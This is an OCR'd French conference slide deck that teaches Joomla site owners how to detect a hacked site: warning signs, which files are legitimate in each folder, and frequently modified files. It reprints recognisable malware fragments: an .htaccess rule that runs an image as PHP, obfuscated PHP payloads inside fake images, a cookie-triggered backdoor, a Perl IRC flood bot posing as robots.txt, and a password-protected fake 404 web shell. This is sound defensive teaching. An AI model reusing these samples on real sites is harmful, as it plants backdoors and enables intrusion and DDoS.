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Version online

La derniere version de ces slides est en ligne
a l'adresse :

https://slides.aesecure.com/hacked/index.html
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Qui suis-je ?

 Développeur d’aeSecure, solution de sécurisation,
d’optimisation et de nettoyage de sites web Apache

* Modérateur Joomla! France (cavo789)
e Membre fondateur de la JUG! Wallonie

Christophe Avonture

https://www.aesecure.com/fr/accueil/contact.html
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https://www.aesecure.com/fr
http://forum.joomla.fr/
http://forum.joomla.fr/member.php?38299-cavo789&tab=aboutme
http://jugwallonie.be/
https://www.aesecure.com/fr/accueil/contact.html
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* Apprendre a identifier rapidement quelques signaux qui vont
trahir la présence de virus / hack sur son site Joomla!®

e Utilisation d’outils gratuits comme aeSecure QuickScan, Sucuri

Sitecheck, WinMerge/MeldMerge et bien sdr ... Google pour la
partie détection.

Objectifs de cette présentation

Je vous invite a consulter les documents suivant :
1. “La sécurité et Joomla!®” pour apprendre a sécuriser votre site web :
https://www.aesecure.com/fr/blog/joomla-securite.html

2. “Votre site a été hacké, que faire ?” pour apprendre a le nettoyer par vous-méme :
https.//www.aesecure.com/fr/blog/site-hacke.html
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Les trucs et astuces mentionnés dans cette présentation n‘ont

pas pour vocation d’étre exhaustifs mais bien d’aider a répondre
a la question : y a-t-il des virus sur mon site ?

Remarque
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ldentifier la menace
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Vous avez été averti par / Vous avez constaté ...

* Vous avez recu un email de votre hébergeur, d’'un autre hébergeur qui détecte du spam
envoyé depuis votre site, de Google,

* Les statistiques Google montrent des résultats surprenant comme des pics d’activités ou
des URLs qui en principe n’existent pas (avec des pages en Chinois p.ex.), ou encore des
pertes de trafic importante et a priori inexplicables,

* Votre site est redirigé vers un autre site quand vous vous y connectez depuis un
smartphone, ...

* Longlet réseau de votre navigateur montre des connections vers des sites tiers que vous ne
connaissez pas,

e Votre navigateur demande a autoriser le téléchargement d’un fichier qui vous est inconnu,
* En surfant sur votre site, vous constatez I'affichage d’informations qui ne devraient pas s’y
trouver (messages d’erreur, portion de texte dont vous n’étes pas 'auteur, liens vers des
sites tiers, ...),
[ )
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Your personal files are encrypted! Encryption was produced using a unique public key RSA-2048 generated for this computer.

=" YOUR
SITE
AS BEEN

EFACED

r00t3xplii? was HERE
Deal with it, Admin

Defacement -

To decrypt files you need to obtain the private key.

The single copy of the private which will allow to decrypt the files, located on a secret server at the Internet. After
that, nobody and r will be able to restore files...

To obtain the private key and php script for this computer, which will automatically decrypt files, you need to pay 1
bitcoin(s) (~240 USD).
Without this key, you will never be able to get your original files back.

tittt111) PURSE FOR PAYMENT (ALSO AUTHORIZATION CODE): 1zKaz9PpVDuH7CpAeV7FmQyUy25Wq3SeC !!!!!

INSTRUCTION FOR DECRYPT:

After you made payment, you should go to website https://z54n57pg 2.0nion.to

Use purse for payment as ur authorization code (1zKazIPpVDuHICpAeV7FmQyUy25WqdSeC).

If you already did the payment, you will see decryption pack available for download,

inside decryption pack - key and script for decryption, so all what you need just upload and run that script

Also, at this website you can communicate with our supports and we can help you if you have any troubles,
but hope you understand we will not answer at any messages if you not able to pay.

t11P.S. Our system is fully automatic, after payment you will receive you're decrypt pack IMMEDIATELY!!!

How to buy bitcoin(s): https://en.bitcoin.it/wiki/Buying_Bitcoins_(the_newbie_version)
ewbie_version)

Ransomware

GO LJg].C site:mywebsite.com “

Web Images More ~ Search tools

About 9,250 results (0.10 seconds)

How To Buy Viagra, Generic Viagra - Pill Shop, Best Offer!
www. mywebsite.com/category/my-page/ ~

How To Buy Viagra, Generic \iagra - Pill Shop, Best Offer! | the penis contract
and erections to obtain an adequate erection during the treatment of blood ...

Cialis Drug, Generic Cialis - Online Drug Shop, Best Offer!
www. mywebsite.com/category/second-page/ ~

Cialis drug, generic cialis - Drug shop, worldwide shipping.! Best quality drugs.
prices for all products.

Pharma hack
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_es prochains slides se basent sur une installation native de
Joomlal.

&’ Joomla!®, installation native

_es fichiers marqués sur fond

e vert sont les fichiers a priori légitimes,

* jaune ceux qui nécessitent un traitement particulier et

* rouge ceux qui peuvent étre supprimeés. A priori légitime
Cas particulier

Peut étre supprime

A Joomlalba s Organise par o IEYD . Hjd16fr
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" + Local Disk (C:) » Christophe » Sites * joomla » ad

o O D e ° d J I I ® # Nom = Dimensions Ext Taille
’ ’ OSSIer raCIne e OOI I l a ° 1 | administrator
\4 2 | aesecure
, . : : . 3 L bin
Légitime : configuration.php, index.php et robots.txt
(sous Joomla 1.5, vous aviez aussi index2.php et index3.php) 4 | cache
o . 5 b di
Particulier :,hta.ccess.txt gue vous pouvez renommer en .htaccess si vous 6 [l components
activez la réécriture des URLs. _
7 | images
Peuvent étre supprimé car inutiles : CONTRIBUTING.md, htaccess.txt, & | includes
LICENSE.txt, joomla.xml, README.txt, robots.txt.dist, web.config.txt 9 | language
peuvent étre supprimés sans probleme. 10 | layouts
11 |} libraries
Danger - Fichiers php 12| (} logs
: L L1 13 di
Si vous avez d’autres fichiers php, éditez-les et regardez leur contenu. A k. media
priori, ces fichiers ne devraient pas se trouver la. lls sont donc suspects => i W modules
a éditer afin d’en évaluer le caractere dangereux. 15 [ plugins
16 ). templates
N 17 b tm
A analyser o
: fichier ht holini et Joeil 1% [ configuration.php - php  2Ko
Si vous avez un fichier .htaccess ou php.ini, jetez-y un coup d’oeil. 19| B htaccessix o -
20 _ php 2 Ko
Vous pourriez avoir quantité d’autres fichiers comme les fichiers de 21 ] LICENSE.txt tct 18 Ko
propriétés Google, Bing, ..., a analyser au cas par cas. 22 ) README.txt it 5 Ko
vt | S 5 mobosst a  1lke
‘A OOomMia 4 Organisé par mmﬁfnm"p’mg . i
Paris France Y o, sociationrocophons 24 j’web.conﬂg.b:t] txt 2 Ko
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=4 Dossier administrator de Joomlal®
&

Lég|t|me . uniquement indeX.php et n. Localisk{c:] » Christophe » Sites » joomla » administrator » t¢

# Nom = Dimensions  Ext Taille Type
seulement ce fichier. et e

3 L help File folder

4 ). includes File folder
Particulier : .htaccess et .htpasswd fj & mowa e folder
pourraient étre présent si vous avez protégeé ., mmm e o

o o B \ ’ o 2 @ htaccess htaccess 1 Ko HTACCESS File

votre administration (a éditer pour analyse). sl Mpasswd 1Ko HTPASSWD F

11 index.php php 2 Ko PHP File

Danger - Fichiers php

Si vous avez d’autres fichiers php, éditez-les et regardez leur contenu. A priori, ces fichiers
ne devraient pas se trouver la. lls sont donc tres fortement suspects.
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tf’-f-o Dossier cache de Joomla!®
58

Légitime : uniguement index.html

Particulier : .htaccess pourrait étre présent si vous avez protége
ce dossier (a éditer toutefois pour analyse)
Les autres fichiers, tous les autres fichiers, peuvent étre

supprimés sans autre forme de procés. A priori aucun fichier php
ne devrait s’y trouver. Si c’est le cas, probabilité d’un virus.

* Local Disk (C:) » Christophe » Sites * joomla » cache

# Nom = Dimensions Ext Taille Type
1 @ htaccess ~ 1Ko HTACCESSF
> @ indexhtml html 1Ko Chrome HT?
‘tlk JOOI’TﬂODOgﬂ Organisé par Assncntﬁfnm‘.p’h‘z . #j I 6‘Fr‘
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Dossier components de Joomla!®

* Local Disk (C:) » Christophe *» Sites * joomla * components »

Légitime : uniguement index.html = S L LT
Particulier : .htaccess pourrait &tre - 1 ancne. et
présent si vous avez protégé ce - e e
dossier (a éditer pour analyse) & con-eaer e ol

8 | com_media File folder
= =
Aucun autre fichier n’est attendu oyl e o

15 | com_ wrapper File folder

dans ce dossier et certainement pas
des scripts .php

16 |&] .htaccess htaccess 1Ko HTACCESS

17 _ html 1Ko Chrome HT

Organisé par dﬁﬁ;z?rsg%:ﬁ . #j I 6fr
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A Dossier images de Joomla!®

Légitime : uniguement index.html

Particulier : .htaccess pourrait étre présent si vous avez protégé ce dossier (a
éditer pour analyse)

A priori, peuvent étre supprimés car inutile : les dossiers banners, headers et
sampledata et les images joomla_black.png et powered by.png.

Danger — Fichiers php
. . , # Nom = Dimensions Ext Taille Type
Aucun fichier .php n’est attendu dans le 1 b banners Fle f
. . . 2 | headers File fc
dossier /images et sous-dossiers. La 2 [l sampledata .
i+ A : 4 |§'| htaccess htaccess 1Ko HTAC
probabilité de trouver des virus dans . @ e i
/images (et sous-dossiers) est tres forte sile ¢ ®joomiablackpng 225x50 png 5Ko PNG |
. L, i 7 M| powered_by.png | 150x 45 png 3Ko PNGi
site a éte hacke.
t ] Organisé par et -
& ggzgrrggDog i . Hjdl6fr
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Dossier language de Joomlal!®

\d

Légitime : uniguement index.html

Particulier : .htaccess pourrait étre présent si vous avez protége ce
dossier (a éditer pour analyse)

Remarque : il y a un fichier .php dans chaque dossier langue. Le
script se nomme fr-FR.localise.php (ou fr-FR est le code ISO de la

langue).
# Nom = Dimensions Ext Taille Type
1 ) [en-GB| File folder
. . . 2 | overrides File folder
S I VO u S tro uvez d ’a u t res fl C h I e rS 3 @ htaccess htaccess 1 Ko HTACCESS File
.php' iIS SOnt SUSpeCtS. 4 @ indexhtml htmi 1Ko Chrome HTML

= Joomlal bai

. AFUJ .
Paris France e B s . Hjd16fr
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Légitime : uniguement index.html|
Particulier : .htaccess pourrait étre présent si vous avez protége
ce dossier (a éditer pour analyse)

Les autres fichiers, tous les autres fichiers, peuvent étre
supprimeés sans autre forme de proces.

Dossier logs de Joomlal!®

“ + Local Disk (C:) » Christophe » Sites * joomla * logs

# Nom = Dimensions  Ext Taille Type
1 |&)|.htaccess htaccess 1Ko HTACCESE
2 . index.html htmil 1Ko ChromeH
}A _JOOI | IIODOQN Organisé par mﬁﬂggﬁ . #j I6‘Fr‘
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O 0 [ ] [] ®
r——" DOSS|er med|a de Joomla! M ' Local Disk (C:) » Christophe » Sites » joomla * media »
‘ # Ncnm_é Ext Taille Type

& 1 |cms | File fold
Légitime : uniguement index.html 2 J. com_contenthistory File fold
. . N ’ . 3 |}, com_finder File fold
Particulier : .htaccess pourrait étre présent si vous B & com joomiaupdate o
avez protégé ce dossier (a éditer pour analyse). 5 ). com_wrapper File fold
6 | contacts File fold
7 ). editors File fold
Remarque 8 b jui File fold
9 . mailto File fold
Les medias devraient en principe étre utilisés poury 10 | medi File folg
stocker des images, des fichiers css/less, des scripts js : mos anguages iy
mais logiqguement aucun scripts .php. Les scripts B & o1 coptcha,_recapicha S
.php dans media sont toutefois possible et quelques 4 I rig_auickicon_extensionupdate File fold
extensions en utilisent. Il faut donc étre vigilant lors > ! plo-auicdconJoomlaupdate floted
) . 16 | plg_system_highlight File fold
d une Operat|0n de nEttOyage 17 | plg_system_stats File fold
18 |}, system File fold
. . . \ . 19 Eﬂ htaccess htaccess 1Ko HTACCE
Note : si vous trouvez des fichiers .php a la racine du ., @inaem - ko Chrome

dossier media, ces fichiers sont donc suspect.

t ] Organisé par Arvg e
B Joormlalboy ot @ #Hjd16fr

30/04/2016




“ » Local Disk (C:) » Christophe *» 5ites *» joomla »* modules »

o O . # Nom = Ext Taille | Type

Dossier modules de Joomla!® 1w o

& 3 [k, mod._articles category File folder

Légitime : uniquement index.html E j

Particulier : .htaccess pourrait étre présent si || roome e o

vous avez protégé ce dossier (a éditer pour B & s et

analyse).  frpiopliend et

13 | mod_languages File folder

[ty ieod

Danger — Fichiers php E g

Aucun autre fichier n’est attendu dans ce B & o e et

dossier-la. Si vous avez un fichier .php a la [y it

racine du dossier modules, ce script-la est y E iy e tod
fortement suspect. Ry I e

B Joomlalbay) oromisepor ... 0E02 () Hjd16fr
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Dossier plugins de Joomla!®

o O
&5
Légitime : uniquement index.htm| W Locel Dsk ) + Glvistophe » Ses » foom > phis

# Nom = Ext Taille Type |
Particulier : .htaccess pourrait étre - e E
présent si vous avez protége ce dossier | o e folr E
(é editer pour analyse). 5 | editors-xtd File folder (
6 | extension File folder (
7 ). finder File folder (
& ). quickicon File folder (
Danger — Fichiers php & o e folcer E
i i Sysem le 1Tolder
Aucun autre fichier n’est attendu dans B orcormut Fle folder )
ce dossier-la. Si vous avez un fichier 13 @- Maccess 1Ko HTACCESSFile -
\ . . . 14 html 1Ko Chrome HTML Document
.php a la racine du dossier plugins ce
script-la est fortement suspect.
= #gg@AgDog Organise Par ey . H#jd16fr
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r— Dossier templates de Joomla!®

oy

Légitime : uniguement index.html

Particulier : .htaccess pourrait étre présent si vous avez protégé ce dossier (a
éditer pour analyse).

Danger — Fichiers php

Aucun autre fichier n’est attendu a la racine du dossier templates. Si vous
avez un fichier .php, ce script-la est fortement suspect.

“ + Local Disk (C:) » Christophe » Sites * joomla » templates »

. . . # Nom = Ext Taille Type Modifi

Le hack des fichiers index.php se trouvant dans 1| b beez3 File folder 05/04;
les dossiers templates est un classique du genre. 2 % Protostr File folder 05/04
. . . . 3 | system File folder 05,/04;

Ces fichiers sont a surveiller. 4 [&)|htaccess| htaccess 1Ko HTACCESS File 14/04)

5 @ indexhtml = html 1Ko Chrome HTML Document 05/04;

‘tlk JOOI’TﬂODOgﬂ Organisé par mmﬁfnypmg . #J' I6fr-
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Légitime : uniguement index.html|
Particulier : .htaccess pourrait étre présent si vous avez protége
ce dossier (a éditer pour analyse)

Les autres fichiers, tous les autres fichiers, peuvent étre
supprimeés sans autre forme de proces.

Dossier tmp de Joomla!®

+ Local Disk (C:) » Christophe *» Sites * joomla *» tmp

# Nom = Ext Taille Type
1 [&)[htaccess| htaccess 1Ko HTACCESS File
2 . index.html | html 1Ko Chrome HTML Document
}A _JOOI | IIODOQN Organisé par mﬁﬂggﬁ . #j I6‘Fr‘
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— Se fier aux dates de modifications ?

oy

En php, l'instruction touch() permet de
réinitialiser |la date de derniere modification.

<L o
e T

JPEUX PAS DIRE ...

Si j’étais un pirate, mon virus détecterait
d’abord |la date courante du fichier pour
injecter mon virus et rétablir cette date
qguand l'injection a éteé faite.

Toutefois, avoir dans un dossier de nombreux
fichiers avec une méme date et un intrus, oui,
il est utile d’aller voir ce que contient lI'intrus.

‘tA -—JOO] I IIODO&J“ Organisé par mmﬁfngham
Paris France des Utilisateurs de Joomlat®

30/04/2016




Surveillez

% JoomIQDOQW Organisé par mmﬁm #j d1 6fr
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— Fichiers a surveiller
D

Les fichiers ci-dessous sont assez régulierement hackeés :

» /administrator/includes/defines.php
* /includes/defines.php
* /templates/.../index.php (ceci pour tous les templates)

‘tlk _JOomlc:[Dng Organisé par mﬁﬂg.ﬂ.ﬂ #j I 6fr
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Exemples de hack

KEEP
SAFE

LET'S
HAVE FUN

= Joomlal bai Organisé par .. AFYD
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r— .htaccess
2

orsque vous avez un fichier .htaccess dans un dossier, quel que soit le dossier, il est utile
de I'éditer pour prendre connaissance de son contenu. Un tel fichier peut p.ex. rendre
exécutable ... une image.

f

. <FilesMatch "bananas_1.jpg">

SetHandler application/x-httpd-php
</FilesMatch>

Ces trois lignes vont indiquer a Apache que le fichier bananas_1.jpg, malgré son
extension, doit étre considéré comme un script php : le pirate pourra donc accéder a
http://votresite/.../bananas_1.jpg afin de lancer le script.

Un fichier .htaccess ou vous trouvez un SetHandler application/x-httpd-php est donc suspect.

‘tlk JoomIQDogm Organisé par mmﬂg&f,ﬁ . #j I6fr
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Une fausse image

#1. \sampledata\fruitshop\bananas_1jpg (34k) 999 & - 3 O @

e Bananas !!!!

Syzcw-TEEtNBEIt: (" style="background-color:rgb(234, 71, 71)Ycolor:rgb(255, 223, ©);font-size:lem;">SHMule(Syzcl));

for($i=0;8icstrlen(Syzch);$i++)

{

Syzcu[$i] = chr(ord(SyzcW[$i])-1);
}

return $yzck;

fleval (OLsy ("] s
7b37e12HcSDEO/RI+h+a07HO JOLYBwi+AAS I EABSEGhAAE IKANDNZzuMMc TiZ0aMzM31iQ5h+ +06N1+v7xbIFyQ
3KE24Q+EELlcLt+0PcOWSmz2fENNSjsuf1KuZ7rl1SsvDfy+26sEg07 fa7uZlmb7 tUqvXw36GT x4 8gmvml 1 XVmdX
7/%Xh37uIMt3621iZufvd]l t9utwS2zcqzt1Q0fmpHF EmlghADK IdZLm+yk/F3cBKCG2/QEUHS1grKy t LQGIWHPIE ;
IHLNEF oK FXroKBPVItderQP96/V7GwbQsuBhKbIwVila JASeVPKLAVI vOlty 763PB61 eagUacul 1S9uVXZrQYZE R
BommH7 JV+namGETVE4XxTuTwLdHVOTKFn1RSLASFfGriofpbhoEvatErnQDVuUASEPWA/ BiYHLYY e8I 5tQ1p3iXXYC e
Gx2c8UYDiqjbbXAcS8bqy@UGATvPTEL+//1x9/62Z3/+PbP//Rnn/xvOdYPol@/+hImBoRmtdXD1ESeefOIN/ /h/ 2]
3ttvYpIu3AW+g71Q28koMIqoFYv1c83gqdGzo7XSGhfUKDXPNS+eP1867 xadcVYonh8Cse3UH]/v727j69920g+
tWir3+y49/9d7PX/nC125598vvTRiNFrje+8qn32RER4NdWKUE0s64CY rVIvSrMHDOb1e9ThLE269/+7UT+mp/m8 i 2 o
b552cvirGrR7dc+TX/ib/6x5W6f1re4100C/693Sy0misbtk/DSj/D4rfS/TA0d0 61 FZxTwsVMiteHWRTPCQf 1Y I - ' . i kCx43vnAvlzwH
+2gqrAUlYzfI8bvO8ZvRcV2tV531c8AGKTDVIqIPNGFIp4rgPte78y IIMhANWSAKES+gROYBIAYNBLNF™  © ¢ } F4TFIscxhOHIAH
RALFDsMORUIBKX09f/cudPnh@cOn8256gFRQEHNNEAT tMSSDIHAVPC jpmnbc 1tNWGEZUPAAG/F - : . :
+HOUSSKmkBS IFUY9/yB/@UI01PCTMEVIbbqtF awToQPOFMEKBIgw7deYerZ /djHOh7 farbLvf 7w7Dou3tllo. @ | : S , ok boon.
t{qAedzrXShUBQat EqaxmXt+OKAhIe0x I ZNSm+Hc COWXTNS FIkbDBIWNTS/ BYUHGHr YSy XAtBUNMEGE rNQOKUEHEU Lo xe IBENEIIIR. . 700UK xm] SaenS+dtIunge’ < LBFSiN
7d6pbkZtEMmrK8mA1xhCaGDH/ kQgtbmXZvS+oF tNB/9WdvvSol3BiB8cIT662hGRNGY6 I sAAUIUIDNTYdSqe) 1Uwtk26LkdvzPcdY021+t50KE7urfUxA/f/viPfvTuG/8s2qdZteHvdioerusrPs 35/ WOXP3Rb
TO21it9IxVgPxspFlr2y7DLHbgDIhe tdNnM4CS5VCcbuGGAFGoi4QGudCIdxLLYLBCFmhRIUVVHABFC1pkQrZPQrba7ba8ehXpUNgfBmaViNYdELupwcZYusXwTDj9bp+280ygKjfho1DGILHGSO4TSth+GrvHg
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Fausse GIF

Type des fichiers *
Action scan Risque - 10
Nimages\storit - gyaj(gzinflate(baseb4_decode( s R
\images\stories\VIAr gif Risque : 10 S %
GIF89aGViAr

<?php SEIX Bl rVZtT9tIEPS8SPYHZS+SHRVseqeTKsCoHIgjopHkatAvgKyNvUm22FS rdw3NIf77zaztvBTK@aoRIva8PyvPM7Gy4ULLFipdSGVHM
3P3udfalmB) 3R 2jNJduJo‘CKeoP+tTNhn9ndc9vt/devMquYRFaFIQHZBGfOAS/AI zqMPoWja3oxHg/ji0E@preoF sXnDfUo/0cqjMbx1ahXGOxkugALyl1IGFqyYEfDgiSE3
BYZGT4pmmk15vpIyMPOoChHPAKWDW] iXKXeli+JeGXfLYOTyplDALCB+dnIfxS5eAshACDE3NG+LSIXTPNX7HqgS5FNZVXIVQAZS1KbyalgOXeXFTnld3xyd]YCmpqa+Z2RCoI8y2kU
Xg7G4ZpTzkTmUs2zDPrh3XHFi48LNpfSS2ROdwm1RNFdesGayMif2BVWk Lkx5YHVE1QBaW@1INOVVSCKu7jnialq4KQhIe5ZhqUDcQqUi+LOuN@lecfXMat0755KYuu3k /BWOrsek
kwXHqcGhoblSCVBfAyc6HfWGA/ 1893 fYP7kMHT sKKAdGKGB1dTY4vboM++NANBiMNVUP+1iInME6SIDZAFFE+1TPGf4corSyVOChBnqa6T7pI6areudie0@cGbxuigHiMwSuasectj
TMaPPAKTRFZINIA2H/m17GiijhF/YziVcMS@+IcHVSFEZtCsXz/YDxgeU2+ZzaNH/ mT p3AFhXEGVA+pSD4qLQQCMGCLRUX7tvIXHFTgA/EgkgY2UL+ARTIixTeITMVsrZ18p1lWG/K
h22DhBQbGVe2id3NMNOGSIyQBSkfIBnBOUoe@vqUISiqB7FTBdooVUrton7X8RO7h1a1g7qMF 1bV3XuPCsVNpQQCEg+M254+4r sntkDfy11Lc3HxPDrD+dpIMEVLMAGUG I kuEWBE
1FuVMMtBQONnx64Sey jxnRdoSeCSKsjLELEoeUMO/GEqQ44AmeUo3tVELy cVKX8eh5]511X2/A3sTkRO7hStIOTTIhsirzIiSKWPt91ImWIu8LQer+Z8SrspMspScidzbMny@f1bN
XKQpLxq@usa+YTAF/@aNsdmvtinSoY72Koo+f70eB2QdxFp8ZLP2fvoHkEfgD/hASZIxrQPDNhxqkI20TsyS27rgDXrXNisydu3UzuluraxHKnDI165zsNOxOFqfBg44PVgF3clid
FKNrp6XEuQU7a2TnMIf3PK6jB82RGA/dFF50Xce@Gu3alxrNpGiA/ IRRWW++RdAir gxuQp70oUnUq9gsqGPqi ThWhMDIu/ rcLCBDoaEHpIne9gekdwfcsynBF LWaPMU3 thNWutVHX9
gnSv12jffmBZa9zzMf/CExcj2alWD5GPVNR]tlixeo/kKgmwwrBQ/CkF+FwY1bSGOKQDAZsX2ZgFvuFkoXDSeD3/wPhizSJEBSPY27r YAWXPOVWTSAdROps lexpwXgf8H'))); 2

simages\stories\allstars gif Risque : 10 P 3 -
Aimages\stories\food gif Risque : 10 7R
\images'stories\gohack gif  Risque : 10 P

A Joomlalba S Organise Par et ey . Hjdlefr
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ikdiag

ool Wie Tl =

Tl T e fa

L

modules Doszsier de fichiers 16-01-1618:27:05 1€

° 13 plugins Dossier de fichiers 16-01-1618:27:03 1€

Fa u S S e J pg 14 [ sauve Dossier de fichiers  16-01-16 18:27:03 1
15 templates Dossier de fichiers 16-01-1618:27:02 1€

16 D robots.bd. dist dist 1Ko Fichier DIST 10-12-14 0740008 1€
17 Q{ htaccess ht... 1Ko Fichier HTACCESS 15-11-13 23:58:14 1€
18 E{indeﬂ.html ht... 8 Ko Fichier HTML 15-11-13 235816 1€
i 19 [ index3.html ht.. 8Ko Fichier HTML 15-11-13 23:58:16 1€
Ne vous fiez pas auXx apparences... i . _ " .
20 @ xbot,jpg ipg 39 Ko Fichier JPG 08-12-1516&13:30 1€
: 4 21 D Jovhoon [ 1Ko Fichier OVHCONFIG  30-07-1311:00:20 1€
Un Jpg peUt CaCher un COde exeCUtable. 22 E{.Iibs.php php 69 Ko Fichier PHP 08-12-15 161212 1€
23 @configuration. php 3 Ko Fichier PHP 16-11-13 11:46:43 1€
24 E{inda.php php 2 Ko Fichier PHP 10-12-14 07:40:08 1€

24 eléments (1,63 To disponi 1 sélectionné(s): 38,67 Ko (39.594 octets)

@ xbot.jpg

Recherche de fichiers

Si vous observez |a capture d’écran, vous
pourriez détecter le danger : nous sommes a
la racine d’un site Joomla. Que vienty faire

Propriétés | Version = Méta €es  Aperqu | Vue brute  Mots-clés Rapport

# End of HITPFlood #
% %
S i it
e L s i

Ras)vraimentjuneiimage... ;-)

une image ? Pourquoi dans le dossier racine f DPrices ;
1 FEFFERRRFRTRRRRTERAAEE
et pas dans /Images ? if (£funcarg =~ /"udpfloodis+(.*) s+ (\d+)\s+(\d+)1 /) {

sendraw ($IRC cur socket, "PRIVMSG Sprintl [12.:04!012:.00Udp DDoS012.:04!012:.0 peta'anc

my [($dtime, %pacotes) = udpflooder("$iw, "g£2nw, "E3W)
Sdtime = 1 if &dtime == 0;
H A H H H my fbhytes;
Si vous étes attentif, vous verriez un second virus e s+ Soacatesiiomp;

Sbhytes{icmp} = 52 # EZpacotes{icmp}:

fbytes{o} = 52 * EZpacotez{ol:

Sbhytes{udp} = £2 # EZpacotes{udp}:

Sbhvtes{tcp} = £2 # EZpacotes{tcpl:

sendraw ($IRC cur socket, "PRIVMSG Sprintl [12.:[4!012:.00Udp DDoS012.:04!012:.0 Results]

ot @ Hjd16fr

A Joomilalha s
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Pour rapidement détecter les fausses
images, j’utilise, entre autre,
XYplorer qui me permet

1. D’appliquer un filtre pour ne voir
que les images

2. De visualiser tous les dossiers en
une fois (=vue a plat)

3. De prévisualiser les images

Ainsi, les fausses images n’auront
pas de rendu visuel et on pourra vite
les repérer.

A Joomilalha s
Paris France

30/04/2016

QA alx(0- v Hee e EER S0 Q%S0

Fichiers/Texte
B C\Christophe\Sites\joomla | + = o |©  FichigiImage  \
» b » i

Fighiers Audio
s Video

Fichiers Office
Chemin = Nom Ext Taille Type Modification Création Dimensions

Modifiés les derniéres 30 Mins
Maodifiés les derniéres 3 Heures
Modified In The Last 7 Days
Madifiés aujourd'hui

Modifiés cette semaine

Can't decode

£ane = fanw

Modifiés cette année 16)(16 3|10 x 10 E2110 x 10 R|10x 10 3|10 10
favicon.ico template_preview.p template_thumbnai Fichiers vides calendar.png j_arrow.png j_arrow_down.png j_arrow_leftpng j_arrow_right.png
ng L.png Fichiers supérieurs & 1 Mo

Fichiers supérieurs a 10 Mo

Fichiers supérieurs a 100 Mo
| Fichiers supérieurs a 1.000 Mo
Fichiers seulement
Répertoires seulement
> 25| < - o B = Omm Omm ]  |EEm o [EE0

Al Bl

h j_login_lockpng j_logo.png logo.png mini_icon.png notice-alert.png notice-info.png notice-note.png required.png selector-arrow.png  selector-arrow-hc.p

ng

_| :I L L 2 16 16 g I 16 <16 R L6 x 16 v [ Rl 16 x 16
selector-arrow-rtlp  selector-arrow-std. blank.png checked_out.png collapseall.png disabled.png downarrow.png downarrow(.png downarrow-1.png expandall.png
ng png

XYplorer (http://www.xyplorer.com/), un fabuleux gestionnaire de fichiers pour Windows

Organisé par mﬁﬂggﬁ . #j I6fr

des Utilisateurs de Joomlal®


http://www.xyplorer.com/)

Faux plugin

<?php Déclaration d’'une classe bidon dont le
class Pluginloomla { s s TR T
constructeur va récupérer un cookie initialisé par

public function  construct() {

$jq = le pirate.
it (%3q) {

Sjq est trés probablement initialisé a

$option("/438/e",%au, 438}

! cl=e base64 decode,
}m””i“ Soption a preg_replace et
} Sau serait le code php pour I'attaque.
I

fcontent = new PluginJoomla;

La ligne Soption("/438/e... est celle qui lance

I'attaque.
t I D i Organisé par ArUJg i
& BlgasoFrr?ng ay GaNiSe Par oty . Hjdl6fr
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Faux fichier robots.txt

[= robotsbd | . . 7 Vé
B! /usr/bin/perl Le fichier robots.txt est présumé se
. . . .
3 #EddddddFdSSdSSSSaAdaSaddgddddAdt At S g trOuver dans Ie dOSSIer racine. SI
4 # Coded by bogel ¢  vous le trouvez dans un autre
5 # Last Edited: 31 March 2013 # . . N
T S ——— " dossier, c’est un bon candidat a
7 # RALL @reload-x - ¢ 7 j ipontianakcrew # || . ,.I .
P — i « allons voir ce qu’il contient ».
S # Port . 7000 #
10 #####dd4d44ddSSFaSSgFagFdgddgddaFdddaddddddddSSaFSaFagEaFagE
11 . . ’
12 use ETTP::Request; Un tel fichier est rendu exécutable
13 use LWP::UserAgent; gréce é trO|S |IgneS de COde dans un
ISRy sprocesso = */usr/bin/syslogd’; fichier .htaccess; pas forcément dans
16 my Slinas max='30"'; A .
17 my Ssleep='15'; le méme dossier.
18 my Scmd="http://.....0n/img/bogel.jpg?";
1% my Sid="http://ke_..../img/bogel.jpg?";
I s Sernrvead="ht++rn- S lrne s ima S met iy Anern .

‘tlk BJOOmIODOQN Organisé par Mmﬂg},’h‘?’: . #j I6fr

aris France des Uttlisateurs de Joomlat
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Fausse page 404

Fichier qui pourrait se nommer 404.php a la racine du site ou dans un dossier /templates
dont le but est de vous tromper quant a son contenu.

—_— ——— -‘—-., ------- - e e - g ——— e e —p g ———— ———

22 n’ m php 35 Ko Flchcer PHP 20/03/2015 20:25:35 5/04/2015 18:50:47
23 @ 596x298-Accueil-Textopg  jpg 146 Ko FastStone JPG File 9/03/2011 18:26:38  5/04/2015 18:50:59
35 éléments (205,79 Go disponible) 1 sélectionné(s): 34,90 Ko (35.741 octets) < 404.php
Propriétés  Version Métadonnées Aperqu Vuebrute Mots-clés  Recherche de fichiers  Rapport
<?php

Sauth_pass = "6bSb0dd03c9c85725032¢ceSL3a0918ae™; //password: enzo

function onESs ($NT1Wmu) { SNT1lWmu=gzinflate (base64_decode (SNT1Wmu)):; for($i=0;$i<strlen(SNT1Wmu):;$1+4) (SNT1Wmu($1i] = chr(ord(SNT1Wmu($i})-1); }
TQTON41dS5S5CcIALO+6ZIyVi0sXT1+1KQREUILT+sAYyMcVdIgTuwzTQCMMzZa9grHBd/ hPFmFalVUJOBVEynFearItnQS7/ZRxmSZ25eNxCehatdl073SW+LikkTAYXpLrIgMIuzETth/+XDaTl
Q285e3s6mE2sQ2zXNWE6ISSackWELSaNSCYF+Bd+dV7OSCMyrzCSE8uJd0/ fnwRaGBEL10Sa3/Irq/LexX+pLq80PBIFOOSWR2BHS+Bq3W1e7C/8vJ4SS50TPYN259y8SpSehdIyClzpZekZoYPETY
KwHB8cf2rJUv2Wxyw7LU6bg+71 rNMQEfPKxTijGpIffOVab+yWzPjbS+UF9aKSOWOvSGvpOHVRQZEzpSH7U+/140XHHdh/eCNe701DDzE/EOKORfHsr+i2L06TCO3sr+kfs0HFOL9J86£bGAT:
//utz5hizoePV2DU2ecNCRImEYFTnOTk/sYZEFaP6xrs3X119L)3VmeEblz4UntLEfwS8 ) £SLRWISVEXCWR50eortMIf/ Inky7O0DLERMU+2 ) /MvumRN/ES1QTwZvOGtt7BPqF£f0zS9Az0Re Iwl
KrSYNSrkr+¥YQfvzUnxNambiiVGhta/dzcOOTBHXNUIWNS1 /mOxrBIQEGP2DQZSpU4 7 ZmpBNnthOBonCaT8mMuCmR 1BKutMpxpXr7J0yrqriplpd4AgbepZ2vb2SFZIp752Z0ovi/oOMSrdvedphl
